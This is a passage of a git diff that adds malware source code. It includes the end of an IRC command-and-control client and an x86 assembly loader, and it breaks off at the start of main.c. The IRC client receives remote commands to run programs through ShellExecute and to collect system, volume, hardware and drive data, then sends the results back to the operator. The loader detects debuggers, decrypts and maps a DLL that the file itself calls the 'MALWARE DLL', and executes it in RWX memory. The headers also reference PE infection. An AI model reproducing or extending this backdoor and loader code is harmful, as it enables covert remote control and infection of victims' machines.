+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_SNDTIMEO, (const char*)&sopt, sizeof(sopt));
+ unsigned char copt = 1;
+ RUN_FUNC(SOCKFUNC_SETSOCKOPT_ENUM, setsockoptFunc, sock, SOL_SOCKET, SO_KEEPALIVE,(const char*)&copt, sizeof(copt));
+ }
+
+#ifdef _PRE_RELEASE
+ struct sockaddr_in* addr = (struct sockaddr_in*)irc_ip->ai_addr;
+ COMPAT(printf)("%s to %u.%u.%u.%u:%u\n", "irc: connecting",
+ addr->sin_addr.S_un.S_un_b.s_b1, addr->sin_addr.S_un.S_un_b.s_b2,
+ addr->sin_addr.S_un.S_un_b.s_b3, addr->sin_addr.S_un.S_un_b.s_b4,
+ SWAP_ENDIANESS16(addr->sin_port));
+#endif
+ if (RUN_FUNC(SOCKFUNC_CONNECT_ENUM, connectFunc, sock, irc_ip->ai_addr, irc_ip->ai_addrlen) != 0)
+ return RUN_FUNC(SOCKFUNC_ERROR_ENUM, GetLastErrorFunc);
+
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("%s\n", "irc: connected !!");
+#endif
+ ircRaw("USER %s 0 0 :%s\r\n", nick, nick);
+ ircRaw("NICK %s\r\n", nick);
+
+ while ((sl = RUN_FUNC(SOCKFUNC_RECV_ENUM, recvFunc, sock, recv_buf, S_BUFSIZ, 0)) != 0 && sl != SOCKET_ERROR) {
+ for (i = 0; i < sl; i++) {
+ o++;
+ send_buf[o] = recv_buf[i];
+ if ((i > 0 && recv_buf[i] == '\n' && recv_buf[i - 1] == '\r') || o == S_BUFSIZ) {
+ send_buf[o + 1] = '\0';
+ l = o;
+ o = -1;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: %s", send_buf);
+#endif
+ if (!checkSockStr(send_buf, SOCKSTR_PING_ENUM)) {
+ send_buf[1] = 'O';
+ ircRaw("%s", send_buf);
+ } else if (send_buf[0] == ':') {
+ wordcount = 0;
+ user = command = where = message = NULL;
+ for (j = 1; j < l; j++) {
+ if (send_buf[j] == ' ') {
+ send_buf[j] = '\0';
+ wordcount++;
+ switch(wordcount) {
+ case 1: user = send_buf + 1; break;
+ case 2: command = send_buf + start; break;
+ case 3: where = send_buf + start; break;
+ }
+ if (j == l - 1) continue;
+ start = j + 1;
+ } else if (send_buf[j] == ':' && wordcount == 3) {
+ if (j < l - 1) message = send_buf + j + 1;
+ break;
+ }
+ }
+
+ if (wordcount < 2) continue;
+
+ if (!checkSockStr(command, SOCKSTR_MOTD_ENUM) && channel) {
+ ircRaw("JOIN %s\r\n", channel);
+ } else
+ if (!checkSockStr(command, SOCKSTR_PRIVMSG_ENUM) || !checkSockStr(command, SOCKSTR_NOTICE_ENUM)) {
+ if (where == NULL || message == NULL) continue;
+ if ((sep = strchr(user, '!')) != NULL) user[sep - user] = '\0';
+ if (where[0] == '#' || where[0] == '&' || where[0] == '+' || where[0] == '!') target = where; else target = user;
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("[from: %s] [reply-with: %s] [where: %s] [reply-to: %s] %s\n", user, command, where, target, message);
+ ircRaw("PRIVMSG %s :%s\r\n", target, message);
+#endif
+ /* GetCommandLine(), GetSystemInfo(...), GetVolumeInformation(...), GetCurrentHwProfile(...), ShellExecute(...) */
+ if (!checkSockStr(message, SOCKCMD_GETCMD_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetCommandLine !!\n");
+#endif
+ char* cmdline = _GetCommandLine();
+ if (ircPrivmsg(target, COMPAT(strlen)(cmdline), "%s", cmdline) <= 0)
+ break;
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETSYS_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetSystemInfo !!\n");
+#endif
+ SYSTEM_INFO si;
+ _GetSystemInfo(&si);
+ if (ircPrivmsgBinary(target, (unsigned char*)&si, sizeof(si)) <= 0)
+ break;
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETVOL_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetVolumeInformation !!\n");
+#endif
+ char* root = NULL;
+ if (qtok(message, &message) && *message) {
+ root = qtok(message, &message);
+ if (root) {
+ size_t len = COMPAT(strlen)(root);
+ /* 0'ing \r\n */
+ if (len >= 2) {
+ root[len-1] = 0;
+ root[len-2] = 0;
+ }
+ }
+ }
+ struct gvi {
+ char volname[128];
+ DWORD volserial;
+ DWORD volflags;
+ char volfs[32];
+ };
+ struct gvi _gvi = {{0}, 0, 0, {0}};
+ if (_GetVolumeInformation(root, _gvi.volname, sizeof(_gvi.volname), &_gvi.volserial, NULL, &_gvi.volflags, _gvi.volfs, sizeof(_gvi.volfs)) == TRUE) {
+ if (ircPrivmsgBinary(target, (unsigned char*)&_gvi, sizeof(_gvi)) <= 0)
+ break;
+ } else {
+ ircRaw("PRIVMSG %s :ERROR\r\n", target);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_GETHWPROFILE_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: GetCurrentHwProfile !!\n");
+#endif
+ HW_PROFILE_INFO hw;
+ if (_GetCurrentHwProfile(&hw)) {
+ if (ircPrivmsgBinary(target, (unsigned char*)&hw, sizeof(hw)) <= 0)
+ break;
+ } else {
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_SHELLEXEC_ENUM)) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: ShellExecute !!\n");
+#endif
+ char* file = NULL;
+ char* params = NULL;
+ char* showCmd = NULL;
+ size_t len = 0;
+ if (qtok(message, &message) && *message) {
+ file = qtok(message, &message);
+ if (file && *message) {
+ params = qtok(message, &message);
+ if (params && *message) {
+ showCmd = qtok(message, &message);
+ if (showCmd) {
+ len = COMPAT(strlen)(showCmd);
+ /* 0'ing \r\n */
+ if (len >= 2) {
+ showCmd[len-1] = 0;
+ showCmd[len-2] = 0;
+ }
+ }
+ }
+ }
+ }
+ if (len > 0) {
+ long scmd = strtol(showCmd, NULL, 10);
+ DBUF(SOCKCMD_SHELLOP_ENUM, __nameSHOP);
+ DBUF(SOCKCMD_FMT1_ENUM, __nameFMT1);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ HINSTANCE si = _ShellExecute(NULL, __nameSHOP, file, params, NULL, scmd);
+ if ((int)si <= 32) {
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)) + 12 /* len(int32_max)+ len(': ') */
+ , __nameFMT1, __nameMSGERR, (int)si);
+ }
+ } else {
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGSHELL_ENUM, __nameMSGSH);
+ ircPrivmsg(target, COMPAT(strnlen)(__nameMSGSH, CLEN(SOCKCMD_MSGSHELL_ENUM)), __nameFMT0, __nameMSGSH);
+ }
+ } else
+ if (!checkSockStr(message, SOCKCMD_ENUMDEVICES_ENUM)) {
+ struct LogicalDrives* devs = COMPAT(calloc)(DEFAULT_DEVS, sizeof(struct LogicalDrives));
+ if (devs) {
+ DWORD count = dwEnumDrives(devs, DEFAULT_DEVS);
+ DBUF(SOCKCMD_FMT0_ENUM, __nameFMT0);
+ DBUF(SOCKCMD_MSGERR_ENUM, __nameMSGERR);
+ if (count > 0) {
+#ifdef _PRE_RELEASE
+ COMPAT(printf)("irc: COMMAND: EnumDrives: %d !!\n", (int)count);
+#endif
+ ircPrivmsgBinary(target, (unsigned char*)devs, count*sizeof(struct LogicalDrives));
+ } else ircPrivmsg(target, COMPAT(strnlen)(__nameMSGERR, CLEN(SOCKCMD_MSGERR_ENUM)), __nameFMT0, __nameMSGERR);
+ COMPAT(free)(devs);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ return 0;
+}
diff --git a/source/loader_x86.asm b/source/loader_x86.asm
new file mode 100644
index 0000000..3f40320
--- /dev/null
+++ b/source/loader_x86.asm
@@ -0,0 +1,590 @@
+; Module: loader_x86.asm
+; Author: Toni <matzeton@googlemail.com>
+; Purpose: 1. reserve stack memory and decrypt strings
+; 2. get kernel32.dll base address
+; 3. get required function ptr (VirtualAlloc,IsBadReadPtr)
+; 4. allocate virtual memory (heap)
+; 5. copy sections from dll
+; 6. run minimal crt at AddressOfEntry
+;
+; WARNING: Any changes in this file require a *FULL* project rebuild!
+; e.g.: `git clean -df . ; cmake . ; make -j4`
+
+
+%ifndef _LDR_SECTION
+%error "expected _LDR_SECTION to be defined"
+%endif
+%ifndef _LOADER_ENDMARKER
+%error "expected _LOADER_ENDMARKER to be defined"
+%endif
+
+SECTION _LDR_SECTION
+GLOBAL __ldr_start
+
+%define STRVALLOC 'VirtualAlloc',0x00
+%define STRRPTR 'IsBadReadPtr',0x00
+%define STRIVKEYSIZE 0x03
+%strlen LEN_STRVALLOC STRVALLOC
+%strlen LEN_STRRPTR STRRPTR
+
+%define IVKEYSIZE 0x08
+
+; const data offsets
+ESI_MINSTACK EQU 0x00 ; minimal stack memory (can be modified by DLL)
+ESI_STRVALLOC EQU 0x04 ; string 'VirtualAlloc',0x00 -> encrypted by file_crypt
+ESI_STRRPTR EQU 0x11 ; string 'IsBadReadPtr',0x00 -> " " "
+ESI_DLLIV EQU 0x1E ; DLL npcbc xor iv
+ESI_DLLKEY EQU 0x3E ; DLL npcbc xor key
+ESI_FLAGS EQU 0x5E ; DLL Flags
+ESI_PTRDLL EQU 0x60 ; PtrToDLL
+ESI_SIZDLL EQU 0x64 ; SizeOfDLL
+; reserve memory on stack (use a multiple of 4 bytes, and at least 0x4C bytes!)
+STACKMEM EQU 0x4C
+; stack offsets
+OFF_KERNEL32 EQU 0x00 ; KERNEL32 base address
+OFF_PROCADDR EQU 0x04 ; FuncPtrGetProcAddress
+OFF_VALLOC EQU 0x08 ; FuncPtrVirtualAlloc
+OFF_BADRPTR EQU 0x0C ; FuncPtrIsBadReadPtr
+OFF_ADROFENTRY EQU 0x10 ; AddressOfEntryPoint
+OFF_IMAGEBASE EQU 0x14 ; DLL ImageBase
+OFF_SIZOFIMAGE EQU 0x18 ; DLL SizeOfImage
+OFF_SIZOFHEADR EQU 0x1C ; DLL SizeOfHeaders
+OFF_FSTSECTION EQU 0x20 ; DLL FirstSection
+OFF_NUMSECTION EQU 0x24 ; DLL NumberOfSections
+OFF_VALLOCBUF EQU 0x28 ; buffer from VirtualAlloc
+OFF_STRVALLOC EQU 0x2C ; string 'VirtualAlloc',0x00 -> decrypted
+OFF_STRRPTR EQU 0x39 ; string 'IsBadReadPtr',0x00 -> decrypted
+OFF_PTRDLL EQU 0x46 ; PtrToDLL (either a section, if plain, or an alloc'd buffer, if encrypted)
+
+; 32 Bit NULL value (used for databytes)
+%define NULL 0x00,0x00,0x00,0x00
+; 16 Bit NULL value
+%define NULL16 0x00,0x00
+
+
+; safe jump (so we can jump to the start of our loader buffer later)
+jmp near __ldr_start
+
+; include our decrypter
+%pathsearch DECRYPTER_SRC "/decrypter_x86.asm"
+%include DECRYPTER_SRC
+
+; Calculate a 32 bit hash from a string (non-case-sensitive)
+; arguments: esi = ptr to string
+; ecx = bufsiz
+; modifies : eax, edi
+; return : 32 bit hash value in edi
+__ldr_calcStrHash:
+ xor edi,edi
+ __ldr_calcHash_loop:
+ xor eax,eax
+ lodsb ; read in the next byte of the name [esi] and store it in al
+ cmp al,'a' ; some versions of Windows use lower case module names
+ jl __ldr_calcHash_not_lowercase
+ sub al,0x20 ; if so normalise to uppercase
+ __ldr_calcHash_not_lowercase:
+ ror edi,13 ; rotate right our hash value
+ add edi,eax ; add the next byte of the name to the hash
+ loop __ldr_calcHash_loop
+ ret
+
+
+; Get base address of kernel32.dll (alternative way through PEB)
+; arguments: -
+; modifies : eax, ebx
+; return : base addres in eax
+__ldr_getModuleHandleKernel32PEB:
+ ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table
+ ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb
+ mov eax,[fs:0x30] ; PEB
+%ifndef _DEBUG
+ ; check if we were beeing debugged
+ xor ebx,ebx
+ mov bl,[eax + 0x2] ; BeeingDebugged
+ test bl,bl
+ jnz __ldr_getModuleHandleKernel32PEB_fail
+ ; PEB NtGlobalFlag == 0x70 ?
+ ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet
+ xor ebx,ebx
+ mov bl,[eax + 0x68]
+ cmp bl,0x70
+ je __ldr_getModuleHandleKernel32PEB_fail
+%endif
+ mov eax,[eax+0x0c] ; PEB->Ldr
+ mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
+ mov ebx,eax
+ xor ecx,ecx
+ __ldr_getModuleHandleKernel32PEB_loop:
+ pushad
+ mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE)
+ mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2
+ call __ldr_calcStrHash
+ cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll'
+ popad
+ mov ecx,[ebx+0x10] ; get base address
+ mov ebx,[ebx]
+ jne __ldr_getModuleHandleKernel32PEB_loop
+ mov eax,ecx
+ ret
+ __ldr_getModuleHandleKernel32PEB_fail:
+ xor eax,eax
+ ret
+
+
+; Get Address of GetProcAddress from module export directory
+; arguments: eax = kernel32 base address
+; modifies : eax, ebx, ecx, edi, edx, esi
+; return : eax
+__ldr_getAdrOfGetProcAddress:
+ mov ebx,eax
+ add ebx,[eax+0x3c] ; PE header
+ mov ebx,[ebx+0x78] ; RVA export directory
+ add ebx,eax
+ mov esi,[ebx+0x20] ; RVA Export Number Table
+ add esi,eax ; VA of ENT
+ mov edx,eax ; remember kernel base
+ xor ecx,ecx
+ __ldr_getAdrOfGetProcAddress_loop:
+ inc ecx
+ lodsd ; load dword from esi into eax
+ add eax,edx ; add kernel base
+ pushad
+ mov esi,eax ; string
+ mov ecx,14 ; len('GetProcAddress')
+ call __ldr_calcStrHash
+ cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress'
+ popad
+ jne __ldr_getAdrOfGetProcAddress_loop
+ dec ecx
+ mov edi,ebx
+ mov edi,[edi+0x24] ; RVA of Export Ordinal Table
+ add edi,edx ; VA of EOT
+ movzx edi,word [ecx*2+edi] ; ordinal to function
+ mov eax,ebx
+ mov eax,[eax+0x1c] ; RVA of Export Address Table
+ add eax,edx ; VA of EAT
+ mov eax,[edi*4+eax] ; RVA of GetProcAddress
+ add eax,edx ; VA of GetProcAddress
+ ret
+
+
+; Get function pointer by function name
+; arguments: ebx = base address of module
+; ecx = string pointer to function name
+; modifies : eax
+; return : address in eax
+__ldr_getProcAddress:
+ mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...)
+ push ecx
+ push ebx
+ call eax
+ ret
+
+
+; Check if pointer is readable
+; arguments: ebx = pointer
+; ecx = size
+; modifies : eax
+; return : [0,1] in eax
+__ldr_isBadReadPtr:
+ push ecx
+ push ebx
+ mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr
+ call eax
+ ret
+
+
+; Allocate virtual memory in our current process space
+; arguments: eax = Alloc Flags [0: PAGE_EXECUTE_READWRITE , 1:PAGE_READWRITE]
+; ebx = preffered address
+; ecx = size of memory block
+; modifies : eax, edx
+; return : ptr in eax
+__ldr_VirtualAlloc:
+ xor edx,edx
+ mov dl,0x40 ; PAGE_EXECUTE_READWRITE
+ test al,0x01
+ cmovz ax,dx ; if al == 0 then 0x40 (PAGE_EXECUTE_READWRITE)
+ shr dl,0x04 ; PAGE_READWRITE
+ test al,0x01
+ cmovnz ax,dx ; if al == 1 then 0x04 (PAGE_READWRITE)
+ push eax ; PUSH Alloc Flags on stack for subsequent calls (see below)
+ push ecx ; save size for a possible second call to VirtualAlloc(...)
+ ; VirtualAlloc API call
+ push eax ; PAGE ACCESS FLAGS for VirtualAlloc
+ push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT
+ push ecx
+ push ebx
+ mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
+ call eax
+ test eax,eax
+ pop ecx ; restore size
+ jnz __ldr_VirtualAlloc_success
+ ; base address already taken
+ push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT
+ push ecx
+ xor eax,eax
+ push eax
+ mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
+ call eax
+ push edx
+ __ldr_VirtualAlloc_success:
+ pop edx ; POP either Alloc Flags or EDX
+ ret
+
+
+; Read DLL PE header from memory
+; arguments: ebx = ptr to memory
+; modifies : eax, ecx, edx
+; return : [0,1] in eax
+__ldr_ReadPE:
+ ; check dos magic number
+ xor ecx,ecx
+ mov cx,[ebx]
+ cmp cx,0x5a4d ; Magic number (DOS-HEADER)
+ jne near __ldr_ReadPE_fail
+ ; e_lfanew
+ mov ecx,ebx
+ add ecx,0x3c ; OFFSET: e_lfanew
+ mov eax,[ecx] ; e_lfanew
+ ; check if 0x40 <= e_lfanew <= 0x80 (default value)
+ cmp eax,0x80
+ ja near __ldr_ReadPE_fail
+ cmp eax,0x40
+ jb near __ldr_ReadPE_fail
+ ; NT(PE)-Header
+ add eax,ebx ; [e_lfanew + ptr] = NT-HEADER
+ mov ecx,eax ; *** save NT-HEADER in ECX ***
+ ; check pe magic number
+ xor eax,eax
+ mov eax,[ecx]
+ cmp ax,0x4550 ; 'EP' -> 'PE'
+ jne __ldr_ReadPE_fail
+ ; check opt header magic
+ mov eax,ecx
+ add eax,0x18 ; [NT-HEADER + 0x18] = opt header magic
+ mov edx,eax
+ xor eax,eax
+ mov ax,[edx]
+ cmp ax,0x010b ; 0x010b = PE32
+ jne short __ldr_ReadPE_fail
+ ; entry point VA
+ mov eax,ecx
+ add eax,0x28
+ mov eax,[eax]
+ mov [ebp + OFF_ADROFENTRY],eax
+ ; get image base && image size
+ mov eax,ecx
+ add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase
+ mov eax,[eax]
+ test eax,eax ; check if ImageBase is not NULL
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_IMAGEBASE], eax
+ mov eax,ecx
+ add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage
+ mov eax,[eax]
+ test eax,eax
+ jz short __ldr_ReadPE_fail ; check if ImageSize is not zero
+ mov [ebp + OFF_SIZOFIMAGE], eax
+ ; get size of headers
+ mov eax,ecx
+ add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders
+ mov eax,[eax]
+ test eax,eax
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_SIZOFHEADR], eax
+ ; get number of sections
+ mov edx,ecx
+ add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections
+ xor eax,eax
+ mov ax,[edx]
+ test eax,eax
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_NUMSECTION], eax
+ ; get ptr to first section
+ mov edx,ecx
+ add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders
+ xor eax,eax
+ mov ax,[edx]
+ mov edx,eax
+ mov eax,ecx
+ add eax,0x18
+ add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection
+ mov [ebp + OFF_FSTSECTION], eax
+ ; return true
+ xor eax,eax
+ inc eax
+ ret
+ __ldr_ReadPE_fail:
+ xor eax,eax
+ ret
+
+
+
+; Loader Entry
+__ldr_start:
+ ; new stack frame
+ push ebp
+ ; save gpr+flag regs
+ pushad
+ pushfd
+ ; GET POINTER TO CONST DATA
+ jmp near __ldr_ConstData
+ __ldr_gotConstData:
+ pop esi ; pointer to const data in ESI
+ ; RESERVE STACK memory
+ sub esp, [esi + ESI_MINSTACK]
+ mov ebp, esp ; backup ptr for subroutines
+ push esi ; required to make REPMOVSD work!
+
+ call __ldr_getModuleHandleKernel32PEB ; module handle in eax
+ mov [ebp + OFF_KERNEL32],eax
+ test eax,eax ; check if module handle is not NULL
+ jz __ldr_end_esi
+ call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax
+ mov [ebp + OFF_PROCADDR],eax
+
+ ; copy encrypted 'VirtualAlloc','IsBadReadPtr' string to [ebp + OFF_STRVALLOC],[epb + OFF_STRRPTR]
+ xor ecx,ecx
+ mov cl,STRIVKEYSIZE ; siz (ivkeysize)
+ mov esi,[esp] ; src = esi
+ add esi,ESI_STRVALLOC ; src
+ mov edi,ebp
+ add edi,OFF_STRVALLOC ; dst
+ rep movsd ; memcpy
+ xor ecx,ecx
+ mov cl,STRIVKEYSIZE ; siz (ivkeysize)
+ mov esi,[esp] ; srx = esi
+ add esi,ESI_STRRPTR ; src
+ mov edi,ebp
+ add edi,OFF_STRRPTR ; dst
+ rep movsd ; memcpy
+
+ ; decrypt 'VirtualAlloc' string
+ mov esi,[esp] ; decryption routine needs esi
+ push dword STRIVKEYSIZE ; ivkeysize
+ mov eax,esi
+ add eax,ESI_DLLKEY
+ push dword eax ; key_ptr32
+ mov eax,esi
+ add eax,ESI_DLLIV
+ push dword eax ; iv_ptr32
+ push dword LEN_STRVALLOC ; size_u32
+ mov eax,ebp
+ add eax,OFF_STRVALLOC
+ push dword eax ; buffer_ptr32
+ call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm)
+ add esp,0x14 ; cleanup arguments
+ mov byte [ebp + OFF_STRVALLOC + LEN_STRVALLOC],0x00
+ test al,0xFF
+ jz __ldr_end_esi
+
+ ; decrypt 'IsBadReadPtr' string
+ mov esi,[esp] ; decryption routine needs esi
+ push dword STRIVKEYSIZE ; ivkeysize
+ mov eax,esi
+ add eax,ESI_DLLKEY
+ push dword eax ; key_ptr32
+ mov eax,esi
+ add eax,ESI_DLLIV
+ push dword eax ; iv_ptr32
+ push dword LEN_STRRPTR ; size_u32
+ mov eax,ebp
+ add eax,OFF_STRRPTR
+ push dword eax ; buffer_ptr32
+ call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm)
+ add esp,0x14 ; cleanup arguments
+ mov byte [ebp + OFF_STRRPTR + LEN_STRRPTR],0x00
+ test al,0xFF
+ jz __ldr_end_esi
+
+ pop esi ; restore esi (ptr to const data)
+
+ ; *** STACK LAYOUT ***
+ ; [ebp] = Kernel32Base | [ebp + 0x04] = PtrGetProcAddress
+ ; [ebp + 0x08] = PtrVirtualAlloc | [ebp + 0x0C] = PtrIsBadReadPtr
+ ; [ebp + 0x10] = AddressOfEntryPoint
+ ; [ebp + 0x14] = ImageBase | [ebp + 0x18] = SizeOfImage
+ ; [ebp + 0x1C] = SizeOfHeaders | [ebp + 0x20] = FirstSection
+ ; [ebp + 0x24] = NumberOfSections | [ebp + 0x28] = vallocBuf
+ ; [ebp + 0x2C] = sz'VirtualAlloc' | [ebo + 0x39] = sz'IsBadReadPtr'
+
+ ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc')
+ mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE
+ mov ecx, ebp
+ add ecx, OFF_STRVALLOC
+ call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc
+ test eax,eax
+ jz __ldr_end
+ mov [ebp + OFF_VALLOC], eax
+ ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr')
+ mov ecx, ebp
+ add ecx, OFF_STRRPTR
+ call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr
+ test eax,eax
+ jz __ldr_end
+ mov [ebp + OFF_BADRPTR], eax
+ ; check if malware dll pointer is valid
+ mov ebx, [esi + ESI_PTRDLL]
+ mov [ebp + OFF_PTRDLL], ebx
+ mov ecx, [esi + ESI_SIZDLL]
+ call __ldr_isBadReadPtr
+ test eax,eax
+ jnz __ldr_end
+ ; ReadPE
+ mov ebx, [ebp + OFF_PTRDLL]
+ call __ldr_ReadPE
+ test al,0x01
+ jnz __ldr_validPE
+
+ ; VirtalAlloc(...) encrypted DLL section
+ xor ebx, ebx
+ mov ecx, [esi + ESI_SIZDLL]
+ xor al,al
+ inc al
+ call __ldr_VirtualAlloc
+ test eax,eax
+ jz __ldr_end
+ mov [ebp + OFF_PTRDLL], eax
+ ; copy encrypted DLL section to alloc'd ptr
+ push esi
+ mov eax,[esi + ESI_SIZDLL] ; siz
+ xor ecx,ecx
+ xor edx,edx
+ mov cl,0x04
+ div ecx
+ mov ecx,eax
+ mov esi,[esi + ESI_PTRDLL] ; src
+ mov edi,[ebp + OFF_PTRDLL] ; dst
+ rep movsd ; memcpy
+ pop esi
+ ; decrypt PE
+ push esi
+ push dword IVKEYSIZE ; ivkeysize
+ mov eax,esi
+ add eax,ESI_DLLKEY
+ push dword eax ; key_ptr32
+ mov eax,esi
+ add eax,ESI_DLLIV
+ push dword eax ; iv_ptr32
+ push dword [esi + ESI_SIZDLL] ; size_u32
+ push dword [ebp + OFF_PTRDLL] ; buffer_ptr32
+ call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm)
+ add esp,0x14 ; cleanup arguments
+ pop esi
+ dec eax
+ test eax,0xFFFFFFFF
+ jz __ldr_end
+ ; read dll pe header (ebx = PtrToDLL)
+ mov ebx,[ebp + OFF_PTRDLL]
+ call __ldr_ReadPE
+ test al,0x01
+ jz __ldr_end
+
+ __ldr_validPE:
+ ; VirtualAlloc(...)
+ mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL)
+ mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL)
+ xor al,al
+ call __ldr_VirtualAlloc ; eax holds pointer to allocated memory
+ test eax,eax
+ jz __ldr_end
+ mov [ebp + OFF_VALLOCBUF],eax
+ ; copy sections
+ mov ecx,[ebp + OFF_NUMSECTION]
+ mov ebx,[ebp + OFF_FSTSECTION]
+ __ldr_section_copy:
+ mov edx,ebx
+ add edx,0xc ; RVA of section[i]
+ mov edx,[edx]
+ add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i]
+ mov edi,ebx
+ add edi,0x10
+ mov edi,[edi] ; SizeOfRawData
+ mov eax,ebx
+ add eax,0x14
+ mov eax,[eax]
+ add eax,[ebp + OFF_PTRDLL]
+ ; copy one section
+ pushad
+ mov ebx,eax ; src
+ mov eax,edi ; siz
+ mov edi,edx ; dst
+ xor ecx,ecx
+ xor edx,edx
+ mov cl,0x04
+ div ecx
+ mov ecx,eax
+ mov esi,ebx ; src
+ rep movsd ; memcpy
+ popad
+ ; next
+ add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER)
+ loop __ldr_section_copy
+ ; CRT Entry Point
+ mov eax,[ebp + OFF_ADROFENTRY] ; RVA
+ add eax,[ebp + OFF_VALLOCBUF] ; DLL image start adr (RWX) -> ImageBase
+ push esi ; save esi for stack cleanup
+ ; arguments
+ mov ebx,0xdeadbeef ; identificator
+ mov ecx,[ebp + OFF_PROCADDR] ; getProcAdr
+ mov edx,[ebp + OFF_KERNEL32] ; Kernel32Base
+ mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr
+ push dword [ebp + OFF_PTRDLL]
+ call eax ; call AddressOfEntry (MALWARE-CRT)
+ pop esi
+__ldr_end_esi:
+ pop esi
+__ldr_end:
+ ; CLEANUP STACK
+ mov ebx,[esi + ESI_MINSTACK]
+ add esp,ebx
+ ; restore old gpr+flag regs
+ popfd
+ popad
+ ; cleanup stack frame
+ pop ebp
+ ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected
+ ; replaceable nops (15 bytes max instruction length for x86/x86_64)
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ nop
+ ; `jump back` nops
+ nop
+ nop
+ nop
+ nop
+ nop
+ ; return if call'd
+ ret
+ ; CONSTS MODIFIED BY THE MALWARE
+ __ldr_ConstData:
+ call near __ldr_gotConstData
+ ; struct loader_x86_data (see: include/loader.h)
+__ldr_struct:
+
+ dd STACKMEM ; minimal stack size (used by source/patch.c)
+ db STRVALLOC ; encrypted str for getprocadr (used by source/tools/file_crypt.c)
+ db STRRPTR ; " " " " (used by source/tools/file_crypt.c)
+ db NULL,NULL,NULL,NULL ; iv[0..3]
+ db NULL,NULL,NULL,NULL ; iv[4..7]
+ db NULL,NULL,NULL,NULL ; key[0..3]
+ db NULL,NULL,NULL,NULL ; key[4..7]
+ db NULL16 ; DLL Flags
+ db NULL ; Pointer to MALWARE DLL (used by batch/patchLoader.py and source/patch.c)
+ db NULL ; Size of MALWARE DLL (used by batch/patchLoader.py and source/patch.c)
+ db _LOADER_ENDMARKER ; unused, end marker (currently used by batch/patchLoader.py, source/tools/file_crypt.c and source/pe_infect.c)
+
+LOADER_SIZE EQU ($ - __ldr_struct)
diff --git a/source/main.c b/source/main.c
new file mode 100644
index 0000000..754cac0
--- /dev/null
+++ b/source/main.c
@@ -0,0 +1,314 @@
+#include "compat.h"
+#include "log.h"
+#include "utils.h"
+#include "file.h"
+#include "mem.h"
+#include "pe_infect.h"
+#include "aes.h"
+#include "crypt.h"
+#include "crypt_strings.h"
+#include "xor_strings_gen.h"
+#include "loader.h"
+#ifdef _ENABLE_IRC
+#include "irc.h"
+#else
+#include "http.h"
+#endif
+
+/* TODO: https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software */
+
+static DWORD
